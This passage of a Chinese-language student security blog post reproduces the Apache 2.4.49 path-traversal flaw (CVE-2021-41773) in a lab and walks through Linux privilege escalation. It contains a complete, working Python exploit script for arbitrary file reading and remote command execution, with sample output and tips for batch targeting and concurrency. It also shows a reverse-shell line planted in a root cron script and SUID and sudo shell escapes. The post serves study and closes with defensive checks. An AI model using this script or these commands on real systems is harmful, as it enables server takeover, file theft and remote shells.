  • LinPEAS——一次性把上面所有面扫完,输出带颜色标记(哪个可疑一眼能看到)
  • linux-exploit-suggester——按内核版本列出候选 EXP
  • GTFOBins——查到 SUID 文件后,到这个站点查”这个程序能不能用来提权”,以及具体怎么用

但有一条要记住:自动化脚本只负责收集线索,判断仍然得自己做。 它会把一堆东西标成黄红色,其中大部分是误报。我们这一章这九步, 其实就是把 LinPEAS 的几个主要面手写跑了一遍——知道每一步到底在查什么, 才看得懂脚本输出里的哪一条是真信号。


Tips—如何搭建可以提权的环境

做法一:给普通程序加 SUID

每个进程身上都挂着两个身份:

  • 真实 UID(real UID)——“是谁启动了这个进程”
  • 有效 UID(effective UID)——“做权限检查时,用哪个身份来算”

平时这两个是一样的。而各种提权技术,做的就是让有效 UID 变成 0,同时不真的去登录 root。

Terminal window
chmod u+s /usr/bin/find
  • chmod——change mode,改文件权限的工具
  • u+s——给 user(文件属主)加上 s(SUID)位。设好之后,任何人执行这个程序,都会临时获得它属主的权限(这里是 root)
  • /usr/bin/find——拿 find 这个平时人畜无害的工具开刀

加完之后,这样一条就能拿到 root shell:

Terminal window
find . -exec /bin/sh -p \; -quit
  • find .——在当前目录里找东西(. 表示”当前目录”)
  • -exec /bin/sh -p \;——对找到的结果执行 /bin/sh -p,其中 -p 是 preserve,意思是”启动 shell 时保留当前权限,不要自动降权”
  • -quit——找到第一个就停下,不用继续找
  • 连起来读就是:“借着 find 的 SUID 身份,起一个不降权的 shell”

这就是 GTFOBins 那类清单的原理:不是这些工具本身有漏洞,而是它们”能执行命令”的能力被 SUID 放大了。

也有其他办法: 文件权限位里有一个 s 位(八进制 4000)。它一旦被设置,规则就变成:

> 任何人执行这个文件时,进程的**有效 UID 会被临时设置成该文件的属主**。
拿 `/usr/bin/passwd` 举例:它的属主是 root、带着 SUID 位。普通用户运行它时,它的有效 UID 就变成 0——正因为如此,它才有权限去改写只有 root 能改的 `/etc/shadow`。**这是设计如此,不是漏洞。**
问题出在:如果某个 SUID 程序**本身就能执行任意命令**,那它等于把 root 身份转手递给了你。`find` 的 `-exec`、`vim` 的 `:!`、`less` 的 `!sh` 都属于这种"自带执行能力"的功能。所以判断标准很清晰:
  • SUID 挂在 passwd、su、mount 上是正常的(它们本来就是干特权活的)
  • SUID 挂在 find、vim、cp、nmap 上就是灾难——这些程序平时不需要特权,给它们加 SUID 相当于开了后门

做法二:造一个 root 定时任务跑可写脚本 两个条件:

  1. 存在一个以 root 身份跑的定时任务
  2. 任务执行的那个文件(或它所在的目录)你能写

执行的权限来自执行者(cron 进程),而不是脚本文件的属主。所以只要你能写那个脚本文件,你写进去的东西就会被 root 执行——哪怕你自己只是个普通用户

让 cron 每分钟以 root 身份执行 /opt/backup.sh,而这个脚本 daemon 用户可写。往里面塞一行反弹 shell,过一分钟就以 root 身份跑起来了。 backup.sh是管理员自己的脚本用来备份的

Terminal window
ls -l /opt/backup.sh
-rwxrwxr-x 1 root daemon ... /opt/backup.sh
# ^^^^^^ group writable,daemon 属于该组 → daemon 可写
  • rwx—r读w写x执行
-rwxrwxr-x 1 root daemon ... /opt/backup.sh
│└┬┘└┬┘└┬┘ │ │ │ │
│ │ │ │ │ │ │ └─ 文件名
│ │ │ │ │ │ └─ 属组 (group)
│ │ │ │ │ └─ 属主 (owner)
│ │ │ │ └─ 硬链接数
│ │ │ └─ other 权限
│ │ └─ group 权限
│ └─ owner 权限
└─ 文件类型

塞反弹shell

Terminal window
echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /opt/backup.sh

或

Terminal window
echo 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' >> /opt/backup.sh
  • >> 是在文件末尾加内容,不动原有内容
  • /dev/tcp/<host>/<port>发起一个 TCP 连接到 host
  • -i = interactive,交互式 shell,能像正常登录一样敲命令
  • >& 是 > file 2>&1 的简写,意思是”stdout 和 stderr 都指向这里”。
  • 0>&1 = “fd 0(stdin)复制 fd 1 的目标”,此时 fd 1 已经指向 TCP 连接,所以 stdin 也指向 TCP 连接。

监听

Terminal window
nc -lvnp 4444

等下一分钟cron 触发(这里的一分钟是指* * * * * root /opt/backup.sh的情况,其中* * * * * 代表每分钟),root 执行 /opt/backup.sh,里面那行反弹 shell 以 root 身份连回来。等服务器备份的时候就会弹shell。

Terminal window
# 攻击机
nc -lvnp 4444
root@victim:/# id
uid=0(root) gid=0(root) groups=0(root)

拿到root shell

做法三:配一条 sudo 规则

daemon ALL=(ALL) NOPASSWD: /usr/bin/vim
  • daemon——这条规则对哪个用户生效
  • ALL=——从哪些主机登录时生效(ALL 表示任意来源)
  • (ALL)——允许切换成哪个用户来执行(ALL 表示任意用户,包括 root)
  • NOPASSWD:——执行时不需要输入密码
  • /usr/bin/vim——只授权这一个程序

看起来挺”安全”——不就开放了一个编辑器嘛。但 vim 内部可以执行 shell 命令,敲一个 :!sh 就逃出来了。所以这类规则实质上等于直接给 root。

sudo 自己也是个 SUID 程序,它按 /etc/sudoers 里的规则决定”谁能以谁的身份执行什么”。

规则的粒度是”命令”。管理员的思路通常是”给他一个只读的查看工具,应该很安全”。但很多看起来无害的程序都能派生出子进程:

  • vim、vi——敲 :!sh 就能开 shell
  • less、more——敲 !sh
  • find——用 -exec
  • awk、python、perl——语言本身就带 system() 这类调用

所以”授权一个能执行命令的程序”,实际效果等于”授权任意命令”。这也是 NOPASSWD: 配上编辑器成为经典错配的原因。

做法四:用带已知 CVE 的旧内核镜像

内核自身有漏洞时,现成的本地提权 EXP 就能直接用。

做法五:挂上 docker.sock 这个套接字就是 Docker 的 API。能访问它,就能指挥宿主机的 Docker 起一个新容器、把宿主机根目录挂进去,等于直接拿下宿主机 或者--privileged 或授予了危险 capability**——容器被赋予了接近宿主机的权限,逃逸门槛大幅降低

那就不是容器内提权了,而是直接逃逸到宿主机。

这个靶场里这几样一个都没有。#


使用脚本#

将探测实现自动化

import argparse
import http.client
import sys
from urllib.parse import urlparse
# 判断文件读取成功的标志:/etc/passwd 里一定有 root 用户
PASSWD_MARKER = "root:"
# 跳板目录的选择是复现成败的关键,两个跳板用途完全不同:
#
# icons —— 被 Alias 映射的普通目录。Apache 会"读取"穿越到的文件,
# 所以用它来做任意文件读取。
# cgi-bin —— 被 ScriptAlias 映射的脚本目录。Apache 会"执行"穿越到的文件,
# 所以用它来做 RCE(落点指向 /bin/sh)。
#
# 用错了会失败:拿 cgi-bin 读 /etc/passwd 只会得到 500,因为 Apache 在
# "执行"它而不是"读取"它。详见文件顶部说明第 4 条。
READ_START_DIR = "icons"
EXEC_START_DIR = "cgi-bin"
# "%2e" 编码风格的三种写法。不同环境对哪种写法"放行"存在差异,
# 所以全部穷举一遍,谁先打通就用谁。
STYLES = ["mixed", "dotted", "plain"]
def raw_request(host, port, path, method="GET", body=None, timeout=8):
"""
发送一个"路径原样透传"的 HTTP 请求。
参数:
host / port : 目标地址
path : 请求行里的原始路径,含 %2e 等编码,不做任何规范化
method : GET 或 POST
body : POST 的请求体,bytes 或 str
返回:
(状态码, 响应体字符串),发生网络错误时状态码为 None
"""
if isinstance(body, str):
body = body.encode()
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
# skip_host / skip_accept_encoding 关掉自动加头,
# 保证我们自己完全掌控请求内容
conn.putrequest(method, path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", "{}:{}".format(host, port))
conn.putheader("User-Agent", "curl/7.79.1")
conn.putheader("Accept", "*/*")
if body is not None:
conn.putheader("Content-Type", "application/x-www-form-urlencoded")
conn.putheader("Content-Length", str(len(body)))
conn.endheaders()
if body is not None:
conn.send(body)
resp = conn.getresponse()
data = resp.read()
return resp.status, data.decode("utf-8", "replace")
except Exception as exc:
return None, "{}: {}".format(type(exc).__name__, exc)
finally:
conn.close()
def build_path(start_dir, depth, style, target):
"""
拼出一条带路径穿越的 URL 路径。
start_dir : 跳板目录,如 "icons"
depth : ".." 的段数,从 DocumentRoot 往上跳几层
style : "%2e" 编码风格(mixed / dotted / plain)
target : 想访问的目标文件,如 "etc/passwd"
三条路径长这样(以 depth=4 为例):
mixed -> /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd ← vulhub 的写法
dotted -> /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
plain -> /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
"""
if style == "mixed":
segs = [".%2e"] + ["%2e%2e"] * (depth - 1)
elif style == "dotted":
segs = [".%2e"] * depth
else:
segs = ["%2e%2e"] * depth
return "/{}/{}/{}".format(start_dir, "/".join(segs), target.lstrip("/"))
#用 `target.lstrip("/")` 再统一补回斜杠,就是为了规避前导斜杠当成"路径开头"给删掉了,其实它是拼在 `..` 后面的分隔符。
def probe(host, port, read_path="/etc/passwd", verbose=True):
"""
自动探测可用的穿越组合。
返回值:成功时返回 dict(start_dir, depth, style, path, content),
全部失败时返回 None。
"""
tried = 0
# 从跳板目录跳到根目录的层数取决于 Apache 的安装路径,
# 官方镜像下通常是 4 层,这里放宽到 3~9 全部试一遍,谁先读到就用谁。
for depth in range(3, 10):
for style in STYLES:
path = build_path(READ_START_DIR, depth, style, read_path)
status, body = raw_request(host, port, path)
tried += 1
if status == 200 and PASSWD_MARKER in body:
if verbose:
print("[+] 命中!第 {} 次尝试成功".format(tried))
print(" 跳板目录 : {}".format(READ_START_DIR))
print(" 穿越层数 : {}".format(depth))
print(" 编码风格 : {}".format(style))
print(" 最终路径 : {}".format(path))
return {
"start_dir": READ_START_DIR,
"depth": depth,
"style": style,
"path": path,
"content": body,
}
if verbose and status is not None and status != 404:
# 404 说明路径压根不存在,噪音太大就不打印了
print("[-] {} {} -> {}".format(status, style, path))
return None
def read_file(host, port, combo, target):
"""用已探测到的组合读取任意文件"""
path = build_path(combo["start_dir"], combo["depth"], combo["style"], target)
status, body = raw_request(host, port, path)
return status, body, path
def run_command(host, port, combo, command):
"""
执行系统命令。
这里的目标从 "etc/passwd" 换成了 "bin/sh"。
Apache 会把 /bin/sh 当作 CGI 脚本执行,并把请求体喂给它的 stdin。
请求体前两行是 CGI 响应头(必须的协议要求):
echo Content-Type: text/plain; echo;
意思是先输出一个 Content-Type 头,再输出一个空行分隔,
之后才是真正的命令输出。
"""
payload = "echo Content-Type: text/plain; echo; {}".format(command)
# 跳板必须换成 cgi-bin:只有 ScriptAlias 映射的目录,
# Apache 才会去"执行"穿越到的 /bin/sh。
path = build_path(EXEC_START_DIR, combo["depth"], combo["style"], "bin/sh")
status, body = raw_request(host, port, path, method="POST", body=payload)
return status, body, path
def parse_target(url):
"""把 http://host:port 解析成 (host, port)"""
parsed = urlparse(url if "://" in url else "http://" + url)
host = parsed.hostname or "127.0.0.1"
port = parsed.port or 80
return host, port
def main():
parser = argparse.ArgumentParser(
description="CVE-2021-41773 Apache 2.4.49 路径穿越 / RCE 利用脚本",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument(
"--target", "-t",
default="http://127.0.0.1:8080",
help="目标地址,默认 http://127.0.0.1:8080",
)
parser.add_argument("--read", "-r", metavar="FILE", help="读取指定文件")
parser.add_argument("--cmd", "-c", metavar="CMD", help="执行系统命令")
args = parser.parse_args()
host, port = parse_target(args.target)
print("=" * 68)
print("目标: {}:{}".format(host, port))
print("=" * 68)
# ---------- 第一步:探测漏洞 ----------
print("\n[*] 开始探测路径穿越(穷举 起始目录 x 穿越层数 x 编码风格)...")
combo = probe(host, port)
if combo is None:
print("\n[-] 未探测到可利用的穿越组合。")
print(" 可能原因:目标版本已修复,或 <Directory /> 仍是 Require all denied。")
return 1
print("\n[+] 任意文件读取已确认。以下是 /etc/passwd 的前 8 行:")
print("-" * 68)
for line in combo["content"].splitlines()[:8]:
print(" " + line)
print("-" * 68)
# ---------- 第二步:按需读取指定文件 ----------
if args.read:
print("\n[*] 读取 {} ...".format(args.read))
status, body, path = read_file(host, port, combo, args.read)
print("[*] 请求路径: {}".format(path))
print("[*] 状态码 : {}".format(status))
print("-" * 68)
print(body.strip() if body.strip() else "(空响应 —— 文件可能不存在)")
print("-" * 68)
# ---------- 第三步:按需执行命令 ----------
if args.cmd:
print("\n[*] 执行命令: {}".format(args.cmd))
status, body, path = run_command(host, port, combo, args.cmd)
print("[*] 请求路径: {}".format(path))
print("[*] 状态码 : {}".format(status))
print("-" * 68)
print(body.strip() if body.strip() else "(空响应 —— 可能未开启 mod_cgi)")
print("-" * 68)
if not args.read and not args.cmd:
print("\n提示:加上 --read <文件> 读任意文件,加 --cmd <命令> 执行命令。")
print(" 例如:python3 exploit.py --cmd id")
return 0
if __name__ == "__main__":
sys.exit(main())

脚本使用:

Terminal window
python3 poc/exploit.py # 自动探测,并读取 /etc/passwd
python3 poc/exploit.py --read /etc/hostname # 读取任意文件
python3 poc/exploit.py --cmd id # 执行命令
python3 poc/exploit.py -t http://10.0.0.5:8080 -c whoami

Tips—为什么不用更常见的 requests 库,也不直接调用 curl?

因为 curl 默认会把网址里的 .. 整理掉,所以用 curl 打这个漏洞必须加 --path-as-is。同理,Python 的一些高层网络工具也可能”好心”地改动我们发出去的路径。

脚本里直接用 http.client 这个底层工具,它会把我给的路径原样写进请求里、一个字符都不改。打这种”靠特殊网址才能触发”的漏洞,需要的就是这种可控性。#

实际跑一遍看看#

先输入

Terminal window
python3 poc/exploit.py --cmd id

得到

====================================================================
目标: 127.0.0.1:8080
====================================================================
[*] 开始探测路径穿越(穷举 起始目录 x 穿越层数 x 编码风格)...
[+] 命中!第 4 次尝试成功
跳板目录 : icons
穿越层数 : 4
编码风格 : mixed
最终路径 : /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[+] 任意文件读取已确认。以下是 /etc/passwd 的前 8 行:
--------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
--------------------------------------------------------------------
[*] 执行命令: id
[*] 请求路径: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
[*] 状态码 : 200
--------------------------------------------------------------------
uid=1(daemon) gid=1(daemon) groups=1(daemon)
--------------------------------------------------------------------

这三段对应脚本里的三个阶段:

  • 探测——穷举”起始目录 × 穿越层数 × 编码风格”,找出哪一组能打通
  • 读 /etc/passwd——默认动作,用来证明”任意文件读取”确实成立了
  • 按参数干活——--read 读指定文件、--cmd 执行命令

对脚本的各个函数进行解读#


raw_request()(脚本第 75 行)——发一个”路径原样透传”的 HTTP 请求。整个脚本的基础,所有网络动作都走它#

这个是根据http请求的结构写的 先看http请求的结构

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 ← 请求行:方法 + 路径 + 版本
Host: 127.0.0.1:8080 ← 以下是请求头
User-Agent: curl/7.79.1
Accept: */*
← 空行:头到此结束
(请求体,GET 时没有;POST 时才有) ← 请求体

再看这段函数

def raw_request(host, port, path, method="GET", body=None, timeout=8):
if isinstance(body, str):
body = body.encode()
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.putrequest(method, path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", "{}:{}".format(host, port))
conn.putheader("User-Agent", "curl/7.79.1")
conn.putheader("Accept", "*/*")
if body is not None:
conn.putheader("Content-Type", "application/x-www-form-urlencoded")
conn.putheader("Content-Length", str(len(body)))
conn.endheaders()
if body is not None:
conn.send(body)
resp = conn.getresponse()
data = resp.read()
return resp.status, data.decode("utf-8", "replace")
except Exception as exc:
return None, "{}: {}".format(type(exc).__name__, exc)
finally:
conn.close()

第一步:先将请求改成bytes

if isinstance(body, str):
body = body.encode()
  • isinstance(x, str) —— 判断 x 是不是字符串
  • .encode() —— 字符串转 bytes。网络只能传 bytes,不能传字符串。

第二步:建立连接

conn = http.client.HTTPConnection(host, port, timeout=timeout)
  • HTTPConnection 是 Python 自带的 HTTP 连接对象(http.client 模块,标准库,不用装)
  • timeout=8 —— 8 秒没响应就放弃,避免脚本卡死在那里

第三步:写请求 -> 类似http请求

请求行:

conn.putrequest(method, path, skip_host=True, skip_accept_encoding=True)
  • putrequest() 就是”写请求行”这个动作
  • 但它默认会自作主张:帮你补一个 Host 头、再加一个 Accept-Encoding: identity
  • 后面两个 skip_...=True 是”你别管,我自己来”——关掉这两项自动行为
  • 重点:putrequest() 不会改动 path 里的任何一个字符。这正是我们不用 requests 的原因

请求头:

conn.putheader("Host", "{}:{}".format(host, port))
conn.putheader("User-Agent", "curl/7.79.1")
conn.putheader("Accept", "*/*")
  • "{}:{}".format(host, port) —— 把两个值填进 {} 占位符,得到 127.0.0.1:8080
  • User-Agent 装成 curl —— 有些服务器和日志会看 UA,伪装成常见工具更不显眼
  • 这几个头本身不是必需的,但没有 Host 头,有些服务器会直接返回 400

POST时还要补两个头:

if body is not None:
conn.putheader("Content-Type", "application/x-www-form-urlencoded")
conn.putheader("Content-Length", str(len(body)))
  • if body is not None —— 只有 POST(带请求体)才走这两行
  • Content-Length 必须是请求体的字节数,服务器靠这个数字决定该读多少
  • str(len(body)) —— len() 返回的是数字,而请求头里必须是字符串,所以转一下

完善请求体:

conn.endheaders() # 补上那个空行,请求头到此结束
if body is not None:
conn.send(body) # 把请求体发出去
resp = conn.getresponse() # 等服务器回响应
data = resp.read() # 一口气把响应体读完
return resp.status, data.decode("utf-8", "replace")
  • endheaders() 补的那个空行是 HTTP 协议的分隔符,少了它服务器会一直等下去
  • data.decode("utf-8", "replace") —— bytes 转字符串。第二个参数 "replace" 的意思是”遇到解不开的字节就换成占位符,别抛异常”。读二进制性质的响应时,这个容错很关键
  • 最后返回两个值:状态码 + 响应体

出错处理

try:
...
except Exception as exc:
return None, "{}: {}".format(type(exc).__name__, exc)
finally:
conn.close()
  • try —— 包起来的代码”可能炸”(目标没开、端口不通、超时)
  • except Exception as exc —— 炸了就接住,把异常的名字和内容当成”响应体”返回,状态码给 None 这样调用方一眼能区分”服务器拒绝了”(有状态码)和”压根没连上”(None)
  • finally —— 不管上面成没成,这里都执行,用来关连接
  • type(exc).__name__ —— 取异常的类型名,比如 ConnectionRefusedError

build_path()(第 115 行)——把”跳板目录 + 层数 + 编码风格 + 目标文件”拼成一条 URL 路径#

bash里的命令是:

Terminal window
curl --path-as-is "http://127.0.0.1:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

那么可以对照这条命令来写函数:

def build_path(start_dir, depth, style, target):
if style == "mixed":
segs = [".%2e"] + ["%2e%2e"] * (depth - 1)
elif style == "dotted":
segs = [".%2e"] * depth
else:
segs = ["%2e%2e"] * depth
return "/{}/{}/{}".format(start_dir, "/".join(segs), target.lstrip("/"))

不同版本、不同编译选项下,Apache 对哪种写法”放行”是不一样的,所以全部试一遍

if style == "mixed":
segs = [".%2e"] + ["%2e%2e"] * (depth - 1)
elif style == "dotted":
segs = [".%2e"] * depth
else:
segs = ["%2e%2e"] * depth
  • ["%2e%2e"] * 3 —— 列表乘法,结果就是 ["%2e%2e", "%2e%2e", "%2e%2e"]。比写循环省事
  • [".%2e"] + [...] —— 列表相加,把两个列表首尾接起来
  • 三条分支的区别只在第一段:mixed 是 .%2e(真点 + 编码的点),dotted 全是 .%2e,plain 全是 %2e%2e

拼成一条路径

return "/{}/{}/{}".format(start_dir, "/".join(segs), target.lstrip("/"))
  • "/".join(segs) —— 把列表用 / 连成一串。["a", "b"] → "a/b"
  • target.lstrip("/") —— 把目标路径开头多余的斜杠去掉。因为你可能传 /etc/passwd,也可能传 etc/passwd,统一一下,用 target.lstrip("/") 再统一补回斜杠,就是为了规避前导斜杠当成”路径开头”给删掉了,其实它是拼在 .. 后面的分隔符
  • 外面的 "/{}/{}/{}" —— 三块拼起来,前后各补一个 /

probe()(第 139 行)——三重循环穷举,找出可用的组合#

def probe(host, port, read_path="/etc/passwd", verbose=True):
tried = 0
for depth in range(3, 10):
for style in STYLES:
path = build_path(READ_START_DIR, depth, style, read_path)
status, body = raw_request(host, port, path)
tried += 1
if status == 200 and PASSWD_MARKER in body:
if verbose:
print("[+] 命中!第 {} 次尝试成功".format(tried))
...
return {...}
if verbose and status is not None and status != 404:
print("[-] {} {} -> {}".format(status, style, path))
return None

两层循环,最外层是”层数”

  • range(3, 10) —— 生成 3、4、5、6、7、8、9 共 7 个数(不含 10,Python 的范围是”左闭右开”)
  • 为什么不从 1 开始:1~2 层肯定跳不出安装目录,纯粹浪费请求
  • 为什么到 9:给”装在更深路径下”的环境留点余量
  • 内层只有 3 种风格 → 最多 7 × 3 = 21 次请求

判断”成功”用了两个条件

if status == 200 and PASSWD_MARKER in body:
  • status == 200 —— 服务器正常返回了内容
  • PASSWD_MARKER in body —— 而且内容里确实有 root: 这个标志(PASSWD_MARKER 在脚本开头定义成 "root:")

失败时为什么不打印 404

if verbose and status is not None and status != 404:
  • 404 = 这条路径压根不存在。21 次里绝大多数都是 404,全打出来会把屏幕刷满
  • 只有非 404 的意外状态(403、500 等)才值得看——它们往往暗示”你方向对了,但还差一点”
  • status is not None 是为了跳过”网络错误”那种情况(前面 raw_request 会返回 None)

read_file()(第 177 行)——用已知组合读指定文件#

def read_file(host, port, combo, target):
"""用已探测到的组合读取任意文件"""
path = build_path(combo["start_dir"], combo["depth"], combo["style"], target)
status, body = raw_request(host, port, path)
return status, body, path

拼路径 + 发请求

  • 第一行:调 build_path(),用 combo 里记下来的三个值拼出路径
  • 第二行:调 raw_request() 发出去
  • 第三行:把状态码、响应体、路径一起返回

combo 是什么 它是 probe() 成功时返回的那个字典,长这样:

{
"start_dir": "icons", # 用哪个跳板目录
"depth": 4, # 跳几层
"style": "mixed", # 哪种编码风格
"path": "/icons/.%2e/...", # 探测时实际用的那条路径
"content": "...", # /etc/passwd 的内容
}

不把层数写死 用的是 combo["start_dir"]、combo["depth"]、combo["style"],探测阶段试出来的结果,读文件和执行命令全都能复用


run_command()(第 184 行)——用已知组合执行命令#

def run_command(host, port, combo, command):
payload = "echo Content-Type: text/plain; echo; {}".format(command)
path = build_path(EXEC_START_DIR, combo["depth"], combo["style"], "bin/sh")
status, body = raw_request(host, port, path, method="POST", body=payload)
return status, body, path

里面的payload 代入 id 之后是:

echo Content-Type: text/plain; echo; id
  • echo Content-Type: text/plain; —— 输出一行 Content-Type: text/plain,; 表示接着执行下一条
  • echo; —— 输出一个空行
  • id —— 你真正想跑的命令

我们骗 Apache 把 /bin/sh 当成 CGI 脚本执行。CGI 协议规定,脚本的输出必须先是”一段 HTTP 响应头 + 一个空行”,然后才是正文。所以脚本一开头得先扮演”输出响应头”这个动作。

  • 少了 Content-Type 那行 → Apache 认为脚本输出不合法,返回 500
  • 少了那个空行 → Apache 分不清哪是头、哪是正文

POST

  • 这段 shell 脚本要喂进 /bin/sh 的 stdin(标准输入)
  • 只有 POST 才方便携带请求体,而 Apache 执行 CGI 时会把请求体直接接到脚本的标准输入上——命令就这么”流”进去了

跳板要换成 cgi-bin

  • EXEC_START_DIR 是 cgi-bin,被 ScriptAlias 映射 → Apache 会执行它
  • 落点也从 etc/passwd 换成 bin/sh:我们要的不是读 /bin/sh 的内容,是让 Apache 运行它
  • combo["depth"] / combo["style"] 直接复用了探测结果。因为 icons 和 cgi-bin 同在 /usr/local/apache2/ 下,跳出去所需层数一样,所以层数可以跨跳板复用

parse_target()(第 203 行)——把 http://127.0.0.1:8080 拆成 host 和 port#

def parse_target(url):
"""把 http://host:port 解析成 (host, port)"""
parsed = urlparse(url if "://" in url else "http://" + url)
host = parsed.hostname or "127.0.0.1"
port = parsed.port or 80
return host, port

urlparse urlparse 来自 Python 自带的 urllib.parse,作用是把一条网址拆成几个零件。给它一条网址:

urlparse("http://10.0.0.5:8080/index.html")

拆出来的结果里最重要的是四个:

  • scheme —— 开头的协议名,这里是 http
  • hostname —— 主机,这里是 10.0.0.5
  • port —— 端口,这里是 8080(注意是整数 8080,不是字符串)
  • path —— 路径,这里是 /index.html

不写协议也能用

parsed = urlparse(url if "://" in url else "http://" + url)

读法:如果 url 里有 ://,就照原样用;否则在前面补上 http://。

于是下面两种写法都能跑:

Terminal window
python3 poc/exploit.py -t 10.0.0.5:8080
python3 poc/exploit.py -t http://10.0.0.5:8080

把这个函数单独拎出来跑一遍,四种输入的实测结果(顺带也验证了第 ③ 点的兜底逻辑):

http://10.0.0.5:8080 -> ('10.0.0.5', 8080)
10.0.0.5:8080 -> ('10.0.0.5', 8080) ← 没写协议,自动补上
127.0.0.1:8080 -> ('127.0.0.1', 8080)
http://example.com -> ('example.com', 80) ← 没写端口,回落到 80

or的用法

host = parsed.hostname or "127.0.0.1"
port = parsed.port or 80
  • or 的逻辑是”左边为真就用左边,否则用右边”
  • 如果网址里没写主机名,parsed.hostname 就是 None(在 Python 里算”假”),于是回落到 "127.0.0.1"
  • 同样,没写端口时 parsed.port 是 None,回落到 HTTP 默认端口 80
  • 这个写法叫”给个兜底值”,比写完整的 if...else 短得多

main()(第 211 行)——总调度:解析参数 → 探测 → 按参数干活#

def main():
parser = argparse.ArgumentParser(
description="CVE-2021-41773 Apache 2.4.49 路径穿越 / RCE 利用脚本",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument(
"--target", "-t",
default="http://127.0.0.1:8080",
help="目标地址,默认 http://127.0.0.1:8080",
)
parser.add_argument("--read", "-r", metavar="FILE", help="读取指定文件")
parser.add_argument("--cmd", "-c", metavar="CMD", help="执行系统命令")
args = parser.parse_args()
host, port = parse_target(args.target)
print("=" * 68)
print("目标: {}:{}".format(host, port))
print("=" * 68)
# ---------- 第一步:探测漏洞 ----------
print("\n[*] 开始探测路径穿越(穷举 起始目录 x 穿越层数 x 编码风格)...")
combo = probe(host, port)
if combo is None:
print("\n[-] 未探测到可利用的穿越组合。")
print(" 可能原因:目标版本已修复,或 <Directory /> 仍是 Require all denied。")
return 1
print("\n[+] 任意文件读取已确认。以下是 /etc/passwd 的前 8 行:")
print("-" * 68)
for line in combo["content"].splitlines()[:8]:
print(" " + line)
print("-" * 68)
# ---------- 第二步:按需读取指定文件 ----------
if args.read:
print("\n[*] 读取 {} ...".format(args.read))
status, body, path = read_file(host, port, combo, args.read)
print("[*] 请求路径: {}".format(path))
print("[*] 状态码 : {}".format(status))
print("-" * 68)
print(body.strip() if body.strip() else "(空响应 —— 文件可能不存在)")
print("-" * 68)
# ---------- 第三步:按需执行命令 ----------
if args.cmd:
print("\n[*] 执行命令: {}".format(args.cmd))
status, body, path = run_command(host, port, combo, args.cmd)
print("[*] 请求路径: {}".format(path))
print("[*] 状态码 : {}".format(status))
print("-" * 68)
print(body.strip() if body.strip() else "(空响应 —— 可能未开启 mod_cgi)")
print("-" * 68)
if not args.read and not args.cmd:
print("\n提示:加上 --read <文件> 读任意文件,加 --cmd <命令> 执行命令。")
print(" 例如:python3 exploit.py --cmd id")
return 0

解析命令行参数

  • argparse.ArgumentParser() —— Python 自带的参数解析器,不用装任何东西
  • 一个 add_argument 里给两个名字("--read" 和 "-r"),意味着两种写法都认
  • default= 是”不给这个参数时的默认值”,所以 --target 不写就是本地 8080
  • metavar="FILE" 只影响 --help 里的显示,让人一眼看懂这里要接个文件名
  • formatter_class=argparse.RawDescriptionHelpFormatter 让 --help 保留换行格式, 不然多行说明会被挤成一坨
  • parser.parse_args() 之后用 args.read / args.cmd 取值,没传的参数值是 None

探测,然后判断成败

combo = probe(host, port)
if combo is None:
...
return 1
  • probe() 成功时返回一个字典,全部 21 种组合都失败时返回 None
  • if combo is None 就是判”探测失败”。这里用 is None 而不是 == None—— 判断”是不是空”的规范写法是 is
  • return 1 立刻结束整个 main,后面读文件、执行命令的代码根本不会跑。 这叫”提前退出”,比把剩下的代码全塞进一个大 if 里干净得多

退出码

return 1 # 探测失败时
return 0 # 一切正常时
if __name__ == "__main__":
sys.exit(main())
  • main() 的返回值就是进程退出码:0 = 成功,非 0 = 失败
  • sys.exit(...) 把退出码交给操作系统——写自动化脚本时,别人就是靠这个判断你成没成
  • if __name__ == "__main__": 的意思是”只有直接运行这个文件时才执行这段”。

Tips—脚本可以改动的地方

  • 加代理支持——把 HTTPConnection 换成配了 set_tunnel() 的连接,就能走 Burp 看流量
  • 加并发——探测是纯串行的,21 次请求一次一个,用 concurrent.futures 能快不少
  • 批量打多个目标——把 main 拆成”处理单个目标”的函数,外面套一层循环读目标列表
  • 加 --depth 手动指定层数——环境已知时可以跳过探测
  • 输出改成 JSON——方便喂给别的脚本

要如何防守这种漏洞#

  • 审计 SUID 文件——find / -perm -4000 -type f 2>/dev/null,和已知基线对比,多出来的就是可疑项
  • 审查 sudo 规则——看 /etc/sudoers 里有没有放行编辑器、分页器、解释器这类”能派生子进程”的程序
  • 检查定时任务——确认 cron 脚本及其所在目录都不能被低权限用户写入
  • 审计全局可写文件——find / -user root -perm -o+w -type f 2>/dev/null | grep -v "^/proc/"
  • 及时打内核补丁
  • 容器安全——不挂 docker.sock、不用 --privileged、按最小必要授予 capability

总结#

这是一个较为简单的漏洞复现,我分别从命令和脚本两个方向入手,收获了一套应对这类漏洞的方法,并尝试去对它提权,也学习了一套提权方法,下面要向更加难的漏洞努力了!!!

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
